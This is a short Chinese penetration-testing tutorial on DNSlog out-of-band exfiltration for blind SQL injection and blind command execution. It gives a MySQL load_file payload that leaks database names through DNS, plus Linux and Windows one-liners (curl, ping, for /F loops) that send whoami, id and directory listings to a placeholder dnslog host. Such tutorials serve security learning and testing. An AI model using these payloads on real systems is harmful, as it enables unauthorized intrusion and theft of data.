前言
在渗透测试中,经常遇到如下情景:
1,sql盲注 2,blind型ssrf以及xxe 3,无回显命令执行漏洞 ...
dnslog盲注原理
开放的DNSlog平台:
http://ceye.io/
在http://ceye.io/上我们可以获取到有关ceye.io
的DNS查询信息。
域名解析的过程,是由顶级域名向下逐级解析。我们构造的攻击语句也是如此,当它发现域名中存在ceye.io
时,它会将这条域名信息转到相应的NS服务器上,而通过http://ceye.io我们就可以查询到这条DNS解析记录。
核心语法
select load_file(concat('\\\\',(select database()),'.XXX.ceye.io\\abc')
通过对 "selecct databse()" 这一部分语句的构造,就能实现有回显的SQL注入。
值得注意的是,这些数据格式和内容都有限制,需要进行一些处理,并且只能在Windows平台发起load_file请求。
NS服务器接收数据
工程化的python脚本
https://github.com/ADOOO/DnslogSqlinj
https://github.com/BugScanTeam/DNSLog
在线网站
linux系统中dnslog渗透测试技巧
curl http://xxx.dnslog.link/`whoami` ping -c 1 `whoami`.xxx.dnslog.link 如果碰到内容有空格(换行符等),就会截断,只输出前面的,这时候可以利用编码来输出,但有输出字符数最大限制; curl http://xxx.dnslog.link/$(id|base64) curl http://xxx.dnslog.link/`id|base64` 编码base64之后,还有换行符的,可以把字符串中的 '\n'换成其他字符,如 '-': curl http://xxx.dnslog.link/$(id|base64|tr '\n' '-') curl http://xxx.dnslog.link/`id|base64|tr '\n' '-'` 碰到ls这类多个输出的命令,直接使用脚本; for i in $(ls /);do curl "http://$i.xxx.dnslog.link/";done;
windows系统中dnslog渗透测试技巧
利用HTTP请求将结果使用默认浏览器弹出:
for /F %x in ('whoami') do start http://xxx.dnslog.link/%x
利用DNS请求获取计算机名、用户名:
获取计算机名:for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.link 获取用户名:for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.link
探测目录文件列表,由于dir有/b参数,不显示修改日期等信息,只显示文件名,所以可以弹出:
for /F %x in ('dir /b C:\') do start http://xxx.dnslog.link/[%x].jpg